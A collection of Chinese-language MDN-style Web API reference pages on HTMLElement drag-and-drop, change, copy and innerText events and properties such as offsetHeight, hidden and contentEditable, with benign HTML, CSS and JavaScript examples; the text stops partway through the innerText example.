HTMLElement：dragstart 事件 - Web API 接口参考

HTMLElement：dragstart 事件
========================

`dragstart` 事件在用户开始拖动元素或被选择的文本时调用。

语法
--

在 `addEventListener()` 等方法中使用事件名称，或者设置事件处理器属性。

```js
addEventListener("dragstart", (event) => {});

ondragstart = (event) => {};
```

事件类型
----

一个 `DragEvent`。继承自 `Event`。

Event

UIEvent

MouseEvent

DragEvent事件属性
----

*除了以下的属性，来自父接口 `Event` 的属性也是可用的。*

`DragEvent.dataTransfer` 只读

在拖放交互期间转移的数据。

示例
--

### 在拖动开始时设置透明度

在该示例中，我们在容器中有一个可拖动的元素。尝试抓住元素，拖动它进入另一个容器，然后释放它。

我们监听 `dragstart` 事件，使元素在拖动时半透明。

关于更完整的拖放示例，请参见 `drag` 事件。

#### HTML

```html
<div id="container">
  <div id="draggable" draggable="true">This div is draggable</div>
</div>
<div class="dropzone"></div>
```

#### CSS

```css
body {
  /\* Prevent the user selecting text in the example \*/
  user-select: none;
}

#draggable {
  text-align: center;
  background: white;
}

#container {
  width: 200px;
  height: 20px;
  background: blueviolet;
  padding: 10px;
}

.dragging {
  opacity: 0.5;
}
```

#### JavaScript

```js
const source = document.getElementById("draggable");
source.addEventListener("dragstart", (event) => {
  // make it half transparent
  event.target.classList.add("dragging");
});

source.addEventListener("dragend", (event) => {
  // reset the transparency
  event.target.classList.remove("dragging");
});
```

#### 结果

规范
--

| Specification |
| --- |
| HTML Standard # ix-handler-ondragstart |
| HTML Standard # event-dnd-dragstart |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参见
--

* 其他拖放事件：
    + `drag`
    + `dragend`
    + `dragover`
    + `dragenter`
    + `dragleave`
    + `drop`
* 其他目标中的该事件：
    + `Window`：`dragover` 事件
    + `Document`：`dragover` 事件
    + `SVGElement`：`dragover` 事件


HTMLElement.offsetParent - Web API 接口参考

HTMLElement.offsetParent
========================

**`HTMLElement.offsetParent`** 是一个只读属性，返回一个指向最近的（指包含层级上的最近）包含该元素的定位元素或者最近的 `table`, `td`, `th`, `body` 元素。当元素的 `style.display` 设置为 "none" 时，`offsetParent` 返回 `null`。`offsetParent` 很有用，因为 `offsetTop` 和 `offsetLeft` 都是相对于其内边距边界的。

语法
--
```

parentObj = element.offsetParent;
```

* *parentObj* 是一个对象引用，当前元素相对于该对象偏移（offset）。
浏览器兼容性
------

在 Webkit 中，如果元素为隐藏的（该元素或其祖先元素的 `style.display` 为 "none"），或者该元素的 `style.position` 被设为 "fixed"，则该属性返回 `null`。

在 IE 9 中，如果该元素的 `style.position` 被设置为 "fixed"，则该属性返回 `null`。（`display:none` 无影响。）

规范
--

| Specification |
| --- |
| CSSOM View Module # dom-htmlelement-offsetparent |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


HTML 元素：change 事件 - Web API 接口参考

HTML 元素：change 事件
=================

当用户更改 `<input>`、`<select>` 和 `<textarea>` 元素的值时，`change` 事件在这些元素上触发。和 `input` 事件不同的是，并不是每次元素的 `value` 改变时都会触发 `change` 事件。

基于表单元素的类型和用户对元素的操作的不同，`change` 事件触发的时机也不同：

* 当 `<input type="checkbox">` 元素被选中或取消选中时（通过点击或使用键盘）；
* 当 `<input type="radio">` 元素被选中时（但不是取消选中时）；
* 当用户显式提交改变时（例如：通过鼠标点击了 `<select>` 中的一个下拉选项，通过 `<input type="date">` 元素选择了一个日期，通过 `<input type="file">` 元素上传了一个文件等）；
* 当标签的值被修改并且失去焦点后，但未提交时（例如：对`<textarea>`、 `text`、`search`、`url`、`tel`、`email` 或 `password` 类型的 `<input>` 元素进行编辑后）。

HTML 标准列出了应该触发 `change` 事件的 `<input>` 类型。

语法
--

在方法（如 `addEventListener()`）中使用事件的名称，或设置事件处理器属性。

```js
addEventListener("change", (event) => {});

onchange = (event) => {};
```

事件类型
----

通用 `Event`。

示例
--

### <select> 元素

#### HTML

```html
<label>
  选择一种冰淇淋口味：
  <select class="ice-cream" name="ice-cream">
    <option value="">选择一个...</option>
    <option value="chocolate">巧克力</option>
    <option value="sardine">沙丁鱼</option>
    <option value="vanilla">香草</option>
  </select>
</label>

<div class="result"></div>
```

```
body {
  display: grid;
  grid-template-areas: "select result";
}

select {
  grid-area: select;
}

.result {
  grid-area: result;
}
```

#### JavaScript

```js
const selectElement = document.querySelector(".ice-cream");

selectElement.addEventListener("change", (event) => {
  const result = document.querySelector(".result");
  result.textContent = `你喜欢 ${event.target.value}`;
});
```

#### 结果

### 文本输入元素

对于像 `<input type="text">` 这样的元素，`change` 事件在控件失去焦点前都不会触发。试一下在下面的输入框输入一些文字，然后点击输入框外的地方来触发事件。

#### HTML

```html
<input placeholder="输入一些文本" name="name" />
<p id="log"></p>
```

#### JavaScript

```js
const input = document.querySelector("input");
const log = document.getElementById("log");

input.addEventListener("change", updateValue);

function updateValue(e) {
  log.textContent = e.target.value;
}
```

#### 结果

规范
--

| Specification |
| --- |
| HTML Standard # event-change |
| HTML Standard # handler-onchange |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

对于一些特定类型的交互是否要触发 `change` 事件，不同浏览器的意见并不总是一致的。例如，在 Gecko 的 `<select>` 元素中使用键盘导航，除非用户按下 Enter 键或将焦点从 `<select>` 上移走（参见 Firefox bug 126379），否则不会触发 `change` 事件。但从 Firefox 63（Quantum）开始，这个行为在已经在主流浏览器中达成一致。


HTMLElement：dragenter 事件 - Web API 接口参考

HTMLElement：dragenter 事件
========================

`dragenter` 事件在可拖动的元素或者被选择的文本进入一个有效的放置目标时触发。

目标对象是*用户直接选择的范围*（由用户直接指示作为放置目标的元素），或者 `<body>` 元素。

语法
--

在 `addEventListener()` 等方法中使用事件名称，或者设置事件处理器属性。

```js
addEventListener("dragenter", (event) => {});

ondragenter = (event) => {};
```

事件类型
----

一个 `DragEvent`。继承自 `Event`。

Event

UIEvent

MouseEvent

DragEvent事件属性
----

*除了以下的属性，来自父接口 `Event` 的属性也是可用的。*

`DragEvent.dataTransfer` 只读

在拖放交互期间转移的数据。

示例
--

### dragenter 事件触发时放置区域的样式

在该示例中，我们在容器中有一个可拖动的元素。尝试抓住元素，拖动它进入另一个容器，然后释放它。

当拖动的元素在另一个容器上时，我们监听的 `dragenter` 事件将给它一个紫色的背景，以表明可拖动的元素可以放置到该容器中。

注意，在这个部分示例中，我们还没有实现放置：关于拖放的完整示例，请参见 `drag` 事件这页。

#### HTML

```html
<div class="dropzone">
  <div id="draggable" draggable="true">This div is draggable</div>
</div>
<div class="dropzone" id="droptarget"></div>
```

#### CSS

```css
body {
  /\* Prevent the user selecting text in the example \*/
  user-select: none;
}

#draggable {
  text-align: center;
  background: white;
}

.dropzone {
  width: 200px;
  height: 20px;
  background: blueviolet;
  margin: 10px;
  padding: 10px;
}

.dropzone.dragover {
  background-color: purple;
}
```

#### JavaScript

```js
const target = document.getElementById("droptarget");
target.addEventListener("dragenter", (event) => {
  // highlight potential drop target when the draggable element enters it
  if (event.target.classList.contains("dropzone")) {
    event.target.classList.add("dragover");
  }
});

target.addEventListener("dragleave", (event) => {
  // reset background of potential drop target when the draggable element leaves it
  if (event.target.classList.contains("dropzone")) {
    event.target.classList.remove("dragover");
  }
});
```

#### 结果

规范
--

| Specification |
| --- |
| HTML Standard # ix-handler-ondragenter |
| HTML Standard # event-dnd-dragenter |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参见
--

* 其他拖放事件：
    + `drag`
    + `dragstart`
    + `dragend`
    + `dragover`
    + `dragleave`
    + `drop`
* 其他目标中的该事件：
    + `Window`：`dragenter` 事件
    + `Document`：`dragenter` 事件
    + `SVGElement`：`dragenter` 事件


HTMLElement.dir - Web API 接口参考

HTMLElement.dir
===============

**`HTMLElement.dir`** 属性用于获取或设置当前元素的元素内容的文本书写方向。

元素的文本书写方向性是指该文本呈现的方向（用于支持不同的语言系统）。阿拉伯语言和希伯来语是典型的使用 RTL 方向性的语言。

图片可以将其 `dir` 属性设置为“`rtl`”，在这种情况下，HTML 属性 `title` 和 `alt` 将被格式化并定义为“`rtl`”。

当表格的 `dir` 设置为“`rtl`”时，列是从右到左排列的。

当一个元素的 dir 设置为“`auto`”时，该元素的方向是根据其第一个强方向性字符决定的，或者默认为其父元素的方向性。

**备注：** 浏览器可能允许用户改变 `<input>` 和 `<textarea>` 的方向性，以协助编写内容。Chrome 和 Safari 在输入字段的上下文菜单中提供方向性选项，而 Internet Explorer 和 Edge 使用组合键 `Ctrl` + 左 `Shift` 和 `Ctrl` + 右 `Shift`。Firefox 使用组合键 `Ctrl`/`Cmd` + `Shift` + `X`，但不更新 **`dir`** 属性值。

值
-

下列值的其中一个：

* `ltr`，表示从左到右；
* `rtl`，表示从右到左；
* `auto`，表示元素的方向必须根据元素的内容来确定。
示例
--

```js
const parg = document.getElementById("para1");
parg.dir = "rtl";
// 改变 ID 为“para1”的元素内容的文本书写方向。
```

规范
--

| Specification |
| --- |
| HTML Standard # dom-dir |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参见
--

* `document.dir`
* HTML `dir` 全局属性
* CSS 属性 `direction`
* CSS 伪类 `:dir`


HTMLElement.outerText - Web API 接口参考

HTMLElement.outerText
=====================

`HTMLElement` 接口的 **`outerText`** 属性返回与 `HTMLElement.innerText` 相同的值。当用作 setter 时，它会用给定的文本替换整个当前节点（这与 `innerText` 不同，后者替换当前节点的*内部*内容）。

请参阅 `HTMLElement.innerText` 以了解更多信息和有关两个属性用作 getter 的示例。

值
-

一个表示元素及其后代元素的渲染的文本内容的字符串。

如果这个元素本身没有被渲染（例如，从文档中分离或是从视图中隐藏），返回值与 `Node.textContent` 属性的返回值相同。

当用作 setter 时，它会用给定的文本替换当前节点，并将任何换行符转换为 `<br>` 元素。

示例
--

这个例子突出了 `outerText` 和 `innerText` 在用作 setter 时的根本区别（它们用做 getter 时行为完全一致）。

**备注：** 这个示例是 innerText 和 outerText 有什么区别？（Stack overflow）的修订后的版本，由 codingintrigue 发起，基于 CC BY-SA 3.0 许可证发布。

考虑包含如下 HTML 代码的页面：

```html
<div>
  <p>原始内容</p>
</div>
```

`outerText` 替换了整个选中的元素，因此 JavaScript 语句 `p.outerText = "整个元素已替换"` 替换了整个选中的 `p` 元素：

```html
<div>整个元素已替换</div>
```

相比之下，`p.innerText = "元素内容已替换"` 替换了所选中的 `p` 元素的内部内容：

```html
<div>
  <p>元素内容已替换</p>
</div>
```

规范
--

| Specification |
| --- |
| HTML Standard # dom-outertext |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参见
--

* `HTMLElement.innerText`
* `Element.outerHTML`


Element.accessKey - Web API 接口参考

Element.accessKey
=================

元素的 **Element.accessKey** 属性设置了这样一个按键——用户通过敲击这个键把焦点跳转到这个元素上。

**备注：** **Element.accessKey** 属性很少使用，因为它很容易与现代浏览器自带的快捷键冲突。为了解决这个问题，浏览器约定 accessKey 键与特定按键一起按（比如 Alt + accessKey）来生效快捷键行为。


accessKeyLabel - Web API 接口参考

accessKeyLabel
==============

**`HTMLElement.accessKeyLabel`** 只读属性返回一个 `String` 表示这个元素分配的访问密钥 (如果有的话); 否则返回一个空字符串。

语法
--
```

label = element.accessKeyLabel
```

示例
--

### JavaScript

```js
var node = document.getElementById("btn1");
if (node.accessKeyLabel) {
  node.title += " [" + node.accessKeyLabel + "]";
} else {
  node.title += " [" + node.accessKey + "]";
}

node.onclick = function () {
  var p = document.createElement("p");
  p.textContent = "Clicked!";
  node.parentNode.appendChild(p);
};
```

### HTML

```html
<button accesskey="h" title="Caption" id="btn1">Hover me</button>
```

### 结果

规范
--

| Specification |
| --- |
| HTML Standard # dom-accesskeylabel |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参见
--

* `element.accessKey`
* The accesskey global attribute.


HTMLElement：drop 事件 - Web API 接口参考

HTMLElement：drop 事件
===================

**`drop`** 事件在元素或文本选择被放置到有效的放置目标上时触发。为确保 `drop` 事件始终按预期触发，应当在处理 `dragover` 事件的代码部分始终包含 `preventDefault()` 调用。

语法
--

在类似 `addEventListener()` 这样的方法中使用事件名称，或设置事件处理器属性。

```js
addEventListener("drop", (event) => {});

ondrop = (event) => {};
```

事件类型
----

一个 `DragEvent`。继承自 `Event`。

Event

UIEvent

MouseEvent

DragEvent事件属性
----

*除了下面列出的属性外，还可以使用父接口 `Event` 的属性。*

`DragEvent.dataTransfer` 只读

在进行拖放操作时，传输的数据。

示例
--

### 一个最小的拖放示例

在此示例中，我们在容器内有一个可拖动元素。尝试抓住这个元素，将其拖到另一个容器中，然后释放它。

我们在这里使用了三个事件处理器：

* 在 `dragstart` 事件处理器中，我们获得对用户拖动的元素的引用。
* 在目标容器的 `dragover` 事件处理器中，我们调用 `event.preventDefault()`，以使得该元素能够接收 `drop` 事件。
* 在放置区域的 `drop` 事件处理器中，我们将可拖动元素从原先的容器移动到该放置区域。

完整的拖放示例，请参见 `drag` 事件。

#### HTML

```html
<div class="dropzone">
  <div id="draggable" draggable="true">这个 div 可以拖动</div>
</div>
<div class="dropzone" id="droptarget"></div>
```

#### CSS

```css
body {
  /\* Prevent the user selecting text in the example \*/
  user-select: none;
}

#draggable {
  text-align: center;
  background: white;
}

.dropzone {
  width: 200px;
  height: 20px;
  background: blueviolet;
  margin: 10px;
  padding: 10px;
}
```

#### JavaScript

```js
let dragged = null;

const source = document.getElementById("draggable");
source.addEventListener("dragstart", (event) => {
  // 保存被拖动元素的引用
  dragged = event.target;
});

const target = document.getElementById("droptarget");
target.addEventListener("dragover", (event) => {
  // 阻止默认行为以允许放置
  event.preventDefault();
});

target.addEventListener("drop", (event) => {
  // 阻止默认行为（会作为某些元素的链接打开）
  event.preventDefault();
  // 将被拖动的元素移动到选定的放置目标
  if (event.target.className === "dropzone") {
    dragged.parentNode.removeChild(dragged);
    event.target.appendChild(dragged);
  }
});
```

#### 结果

规范
--

| Specification |
| --- |
| HTML Standard # ix-handler-ondrop |
| HTML Standard # event-dnd-drop |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参见
--

* 其他拖放事件：
    + `drag`
    + `dragstart`
    + `dragend`
    + `dragover`
    + `dragenter`
    + `dragleave`
* 其他目标上的此事件：
    + `Window`：`drop` 事件
    + `Document`：`drop` 事件
    + `SVGElement`：`drop` 事件


HTMLElement：drag 事件 - Web API 接口参考

HTMLElement：drag 事件
===================

`drag` 事件在用户拖动元素或选择的文本时，每隔几百毫秒就会被触发一次。

语法
--

在类似 `addEventListener()` 这样的方法中使用事件名称，或设置事件处理器属性。

```js
addEventListener("drag", (event) => {});

ondrag = (event) => {};
```

事件类型
----

一个 `DragEvent`。继承自 `Event`。

Event

UIEvent

MouseEvent

DragEvent事件属性
----

*除了下面列出的属性外，还可以使用父接口 `Event` 的属性。*

`DragEvent.dataTransfer` 只读

在进行拖放操作时，传输的数据。

示例
--

### 拖放示例

#### HTML

```html
<div class="dropzone">
  <div id="draggable" draggable="true">这个 div 可以拖动</div>
</div>
<div class="dropzone" id="droptarget"></div>
```

#### CSS

```css
body {
  /\* Prevent the user selecting text in the example \*/
  user-select: none;
}

#draggable {
  text-align: center;
  background: white;
}

.dropzone {
  width: 200px;
  height: 20px;
  background: blueviolet;
  margin: 10px;
  padding: 10px;
}

.dropzone.dragover {
  background-color: purple;
}

.dragging {
  opacity: 0.5;
}
```

#### JavaScript

```js
let dragged;

/\* 在可拖动的目标上触发的事件 \*/
const source = document.getElementById("draggable");
source.addEventListener("drag", (event) => {
  console.log("dragging");
});

source.addEventListener("dragstart", (event) => {
  // 保存被拖动元素的引用
  dragged = event.target;
  // 设置为半透明
  event.target.classList.add("dragging");
});

source.addEventListener("dragend", (event) => {
  // 拖动结束，重置透明度
  event.target.classList.remove("dragging");
});

/\* 在放置目标上触发的事件 \*/
const target = document.getElementById("droptarget");
target.addEventListener(
  "dragover",
  (event) => {
    // 阻止默认行为以允许放置
    event.preventDefault();
  },
  false,
);

target.addEventListener("dragenter", (event) => {
  // 在可拖动元素进入潜在的放置目标时高亮显示该目标
  if (event.target.classList.contains("dropzone")) {
    event.target.classList.add("dragover");
  }
});

target.addEventListener("dragleave", (event) => {
  // 在可拖动元素离开潜在放置目标元素时重置该目标的背景
  if (event.target.classList.contains("dropzone")) {
    event.target.classList.remove("dragover");
  }
});

target.addEventListener("drop", (event) => {
  // 阻止默认行为（会作为某些元素的链接打开）
  event.preventDefault();
  // 将被拖动元素移动到选定的目标元素中
  if (event.target.classList.contains("dropzone")) {
    event.target.classList.remove("dragover");
    dragged.parentNode.removeChild(dragged);
    event.target.appendChild(dragged);
  }
});
```

#### 结果

规范
--

| Specification |
| --- |
| HTML Standard # ix-handler-ondrag |
| HTML Standard # event-dnd-drag |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参见
--

* 其他拖放事件：
    + `dragstart`
    + `dragend`
    + `dragover`
    + `dragenter`
    + `dragleave`
    + `drop`
* 其他目标上的此事件：
    + `Window`：`drag` 事件
    + `Document`：`drag` 事件
    + `SVGElement`：`drag` 事件


Document：dragend 事件 - Web API 接口参考

Document：dragend 事件
===================

`dragend` 事件在拖放操作结束时触发（通过释放鼠标按钮或单击 escape 键）。

该事件无法取消。

语法
--

在类似 `addEventListener()` 这样的方法中使用事件名称，或设置事件处理器属性。

```js
addEventListener("dragend", (event) => {});

ondragend = (event) => {};
```

事件类型
----

`DragEvent`，继承自 `Event`。

Event

UIEvent

MouseEvent

DragEvent事件属性
----

除了以下列出的额外属性，还可以使用从父接口 `Event` 继承的属性。

`DragEvent.dataTransfer` 只读

在执行拖放操作时传输的数据。

示例
--

### 在拖放结束时重置不透明度

在本示例中，我们在容器中有一个可拖动的元素。尝试抓住元素，拖动它，然后释放它。

我们在拖动元素时，使元素变得半透明，并监听 `dragend` 事件以在释放元素时重置其不透明度。

参见 `drag` 事件，以获取完整的拖放示例。

#### HTML

```html
<div id="container">
  <div id="draggable" draggable="true">这个 div 是可拖动的</div>
</div>
<div class="dropzone"></div>
```

#### CSS

```css
body {
  /\* Prevent the user selecting text in the example \*/
  user-select: none;
}

#draggable {
  text-align: center;
  background: white;
}

#container {
  width: 200px;
  height: 20px;
  background: blueviolet;
  padding: 10px;
}

.dragging {
  opacity: 0.5;
}
```

#### JavaScript

```js
document.addEventListener("dragstart", (event) => {
  // make it half transparent
  event.target.classList.add("dragging");
});

document.addEventListener("dragend", (event) => {
  // reset the transparency
  event.target.classList.remove("dragging");
});
```

#### 结果

规范
--

| Specification |
| --- |
| HTML Standard # ix-handler-ondragend |
| HTML Standard # event-dnd-dragend |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参见
--

* 其他拖放事件：
    + `drag`
    + `dragstart`
    + `dragover`
    + `dragenter`
    + `dragleave`
    + `drop`
* 其他目标上的 `dragend` 事件：
    + `Window`：`dragend` 事件
    + `HTMLElement`：`dragend` 事件
    + `SVGElement`：`dragend` 事件


HTMLElement.offsetHeight - Web API 接口参考

HTMLElement.offsetHeight
========================

**`HTMLElement.offsetHeight`** 是一个只读属性，它返回该元素的像素高度，高度包含该元素的垂直内边距和边框，且是一个整数。

通常，元素的 offsetHeight 是一种元素 CSS 高度的衡量标准，包括元素的边框、内边距和元素的水平滚动条（如果存在且渲染的话），不包含:before 或:after 等伪类元素的高度。

对于文档的 body 对象，它包括代替元素的 CSS 高度线性总含量高。浮动元素的向下延伸内容高度是被忽略的。

如果元素被隐藏（例如 元素或者元素的祖先之一的元素的 style.display 被设置为 none），则返回 0

**备注：** 这个属性值会被四舍五入为整数值，如果你需要一个浮点数值，请用 `element.getBoundingClientRect()`.

语法
--
```

var intElemOffsetHeight = document.getElementById(id_attribute_value).offsetHeight;
```

*intElemOffsetHeight*是一个变量存储对应元素的 offsetHeight 像素的整数值。offsetHeight 属性是只读的。

示例
--

![Image:Dimensions-offset.png](/zh-CN/docs/Web/API/HTMLElement/offsetHeight/dimensions-offset.png)

上面的图片中显示了 scollbar 和窗口高度的 offsetHeight.但是不能滚动的元素可能会有一个很大的高度值，大于可以看见的内容。这些元素原则上是被包含在滚动元素之中的。所以，这些不能滚动的元素可能会因为 scrollTop 的值会被完全隐藏或者部分隐藏；

规范
--

| Specification |
| --- |
| CSSOM View Module # dom-htmlelement-offsetheight |

### 备注

offsetHeight 是一个 DOM 属性，由 MSIE 首次提出。它有时被称为一个元素的物理/图形的尺寸，或是一个元素的边界框（border-box）的高度。

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

相关链接
----

* `Element.clientHeight`
* `Element.scrollHeight`
* `HTMLElement.offsetWidth`
* Determining the dimensions of elements 如何选择（计算）元素占用的空间
* MSDN Measuring Element Dimension and Location


HTMLElement：copy 事件 - Web API 接口参考

HTMLElement：copy 事件
===================

**`copy`** 事件在用户通过浏览器的用户界面开始复制操作时触发。

语法
--

在类似 `addEventListener()` 这样的方法中使用事件名称，或设置事件处理器属性。

```js
addEventListener("copy", (event) => {});

oncopy = (event) => {};
```

事件类型
----

`ClipboardEvent`。继承自 `Event`。

Event

ClipboardEvent事件属性
----

*也从其父接口 `Event` 继承属性。*

`ClipboardEvent.clipboardData` 只读

一个 `DataTransfer` 对象，其包含用户发起的 `cut`、`copy` 或 `paste` 操作所影响的数据，以及它的 MIME 类型。

示例
--

此示例阻止每一次对 `<textarea>` 的复制和粘贴的尝试。

### HTML

```html
<h3>试一下这个文本区域：</h3>
<textarea id="editor" rows="3">
尝试对该字段复制和粘贴文本！
</textarea>

<h3>日志：</h3>
<p id="log"></p>
```

### JavaScript

```js
const log = document.getElementById("log");

function logCopy(event) {
  log.innerText = `已阻止复制！\n${log.innerText}`;
  event.preventDefault();
}

function logPaste(event) {
  log.innerText = `已阻止粘贴！\n${log.innerText}`;
  event.preventDefault();
}

const editor = document.getElementById("editor");

editor.oncopy = logCopy;
editor.onpaste = logPaste;
```

### 结果

规范
--

| Specification |
| --- |
| Clipboard API and events # clipboard-event-copy |
| HTML Standard # handler-oncopy |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参见
--

* 相关事件
    + `HTMLElement.cut_event`
    + `HTMLElement.paste_event`


HTMLElement.hidden - Web API 接口参考

HTMLElement.hidden
==================

`HTML 元素`的 **`hidden`** 属性是一个 `Boolean` 类型的值，如果想要隐藏元素，就将值设置为 `true`，否则就将值设置为`false`。这完全不同于使用 CSS 属性 `display` 来控制一个元素的可见性。

`hidden` 属性应用于所有展现模式，并且不应用于隐藏用户可直接访问的内容。

适用的情况，包括：

* 目前还不相关但将来可能会被用到的内容
* 之前还需要但现在不再被需要用到的内容
* 以类似于模板的方式被页面的其他部分所重复使用的内容
* 创建一个屏幕上不可见的画布来作为绘制的缓冲区

不适用的情况，包括

* 隐藏选项卡的对话框中的面板
* 隐藏一个演示文稿中的内容，同时又希望这个内容在其他演示文稿中是可见的

**备注：** Elements that are not `hidden` must not link to elements which are.

语法
--
```

isHidden = HTMLElement.hidden;

HTMLElement.hidden = true | false;
```

### 值

`Boolean` 类型的值，如果想要隐藏元素，则设置为 `true`，否则设置为 `false`。

示例
--

在这个例子中，当用户点击了 welcome 面板中的按钮后，welcome 面板就会被隐藏掉，并在原位置显示出 follow-up 面板，follow-up 面板包含了致谢信息。

### JavaScript

```js
document.getElementById("okButton").addEventListener(
  "click",
  function () {
    document.getElementById("welcome").hidden = true;
    document.getElementById("awesome").hidden = false;
  },
  false,
);
```

这段代码用来为 welcome 面板中的按钮绑定一个事件监听器，这个事件监听器会隐藏 welcome 面板并在其原位置显示出 follow-up 面板。

### HTML

welcome 面板和 follow-up 面板的 HTML 代码。

#### The welcome panel

```html
<div id="welcome" class="panel">
  <h1>Welcome to Foobar.com!</h1>
  <p>By clicking "OK" you agree to be awesome every day!</p>
  <button class="button" id="okButton">OK</button>
</div>
```

这段 HTML 代码用于创建一个面板（是一个 `<div>` 的块），这个面板会对进入到该站点的用户表示欢迎，并提示他们只要点击了按钮就代表他们同意面板的内容。

#### The follow-up panel

一旦用户点击了 welcome 面板中的按钮，JavaScript 代码就会通过修改 `hidden` 属性来切换 welcome 面板和 follow-up 面板。

```html
<div id="awesome" class="panel" hidden>
  <h1>Thanks!</h1>
  <p>
    Thank you <strong>so</strong> much for agreeing to be awesome today! Now get
    out there and do awesome things awesomely to make the world more awesome!
  </p>
</div>
```

### CSS

上述内容使用了下述的 CSS 样式。

```css
.panel {
  font:
    16px "Open Sans",
    Helvetica,
    Arial,
    sans-serif;
  border: 1px solid #22d;
  padding: 12px;
  width: 500px;
  text-align: center;
}

.button {
  font:
    22px "Open Sans",
    Helvetica,
    Arial,
    sans-serif;
  padding: 5px 36px;
}

h1 {
  margin-top: 0;
  font-size: 175%;
}
```

### 结果

规范
--

| Specification |
| --- |
| HTML Standard # dom-hidden |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参见
--

* `hidden` 属性
* `display`


HTMLElement.isContentEditable - Web API 接口参考

HTMLElement.isContentEditable
=============================

概述
--

**`HTMLElement.isContentEditable`** 只读属性返回一个`布尔值`：如果当前元素的内容为可编辑状态，则返回 `true`，否则返回 `false`。

语法
--
```

editable = element.isContentEditable
```

规范
--

| Specification |
| --- |
| HTML Standard # dom-iscontenteditable-dev |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

相关链接
----

* `HTMLElement.contentEditable`
* 全局属性 contenteditable


HTMLElement.offsetTop - Web API 接口参考

HTMLElement.offsetTop
=====================

**`HTMLElement.offsetTop`** 为只读属性，它返回当前元素相对于其 `offsetParent` 元素的顶部内边距的距离。

语法
--
```

topPos = element.offsetTop;
```

### 参数

* `topPos` 为返回的像素数。
示例
--

```js
var d = document.getElementById("div1");
var topPos = d.offsetTop;

if (topPos > 10) {
  // div1 距离它的 offsetParent 元素的顶部的距离大于 10 px
}
```

规范
--

| Specification |
| --- |
| CSSOM View Module # dom-htmlelement-offsettop |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

In compliance with the specification, this property will return `null` on Webkit if the element is hidden (the `style.display` of this element or any ancestor is `"none"`) or if the `style.position` of the element itself is set to `"fixed"`.

This property will return `null` on Internet Explorer (9) if the `style.position` of the element itself is set to `"fixed"`. (Having `display:none` does not affect this browser.)


HTMLElement.title - Web API 接口参考

HTMLElement.title
=================

**`HTMLElement.title`** 属性表示元素的 title。当鼠标移到节点上时，会以“工具提示”（tool tip）的弹出形式显示该属性的属性值文本。

如果一个节点没有 `title` 属性（attribute），默认继承其父节点的相应属性，父节点可能是从父节点的父节点继承，依此类推。

语法
--
```

var string = element.title;
element.title = string;
```

例子
--
```

const link = document.createElement('a');
link.innerText = '葡萄';
link.href = 'https://en.wikipedia.org/wiki/Grape';
link.title = '维基百科上对葡萄的描述';
```

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


HTMLElement.contentEditable - Web API 接口参考

HTMLElement.contentEditable
===========================

概述
--

**`HTMLElement.contentEditable`** 属性用于表明元素是否是可编辑的。该枚举属性（enumerated attribute）可以具有下面的几种值之一：

* `"true"` 表明该元素可编辑。
* `"false"` 表明该元素不可编辑。
* `"plaintext-only"` 表明该元素可以纯文本格式编辑，富文本格式会被禁用。
* `"inherit"` 表明该元素继承了其父元素的可编辑状态。
语法
--
```

editable = element.contentEditable
element.contentEditable = "true"
```

规范
--

| Specification |
| --- |
| HTML Standard # contenteditable |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

在 IE 浏览器中，`contenteditable` 不能直接用在 `<table>`、 `<col>`、 `<colgroup>`、 `<tbody>`、 `<td>` (en-US)、 `<tfoot>`、 `<th>`、 `<thead>` 和 `<tr>` 标签上。一个可编辑的 `<span>` 或者 `<div>` 标签可以放在表格单元格内部。

相关链接
----

* `HTMLElement.isContentEditable`
* 全局属性 contenteditable
* Why ContentEditable is Terrible, Or: How the Medium Editor Works


HTMLElement：innerText 属性 - Web API 接口参考

HTMLElement：innerText 属性
========================

`HTMLElement` 接口的 **`innerText`** 属性表示一个节点及其后代所渲染文本的内容。

作为一个 getter，它近似于用户用光标突出该元素的内容，然后将其复制到剪贴板上所得到的文本。作为一个 setter，这将用给定的值替换该元素的子元素，并将任何换行符转换为 `<br>` 元素。

**备注：** `innerText` 很容易与 `Node.textContent` 混淆，但这两个属性间实际上有很重要的区别。大体来说，`innerText` 知道文本的渲染外观，而 `textContent` 不知道。

### 输出

一个字符串，代表元素的渲染文本内容。

如果元素本身没有被渲染（例如，从文档中分离出来或从视图中隐藏起来），返回值与 `Node.textContent` 属性相同。

**警告：** 在一个节点上设置 `innerText` 会移除该节点的*所有*子节点，并用给定的字符串值的单一文本节点代替它们。

示例
--

这个示例对比了 `innerText` 和 `Node.textContent`。请注意 `innerText` 是如何意识到像 `<br>` 这样的元素，并忽略了隐藏的元素的。

### HTML

```html
<h3>源元素：</h3>
<p id="source">
  <style>
 #source {
 color: red;
 }
 #text {
 text-transform: uppercase;
 }
 </style>
  <span id="text">
    来看看<br />
    这段文字<br />
    在下方怎么表示。
  </span>
  <span style="display:none">隐藏文字</span>
</p>
<h3>textContent 结果：</h3>
<textarea id="textContentOutput" rows="6" cols="30" readonly>…</textarea>
<h3>innerText 结果：</h3>
<textarea id="innerTextOutput" rows="6" cols="30" readonly>…</textarea>
```

### JavaScript

```js
const source = document.getElementById("source");
const textContentOutput = document.getElementById("textContentOutput");
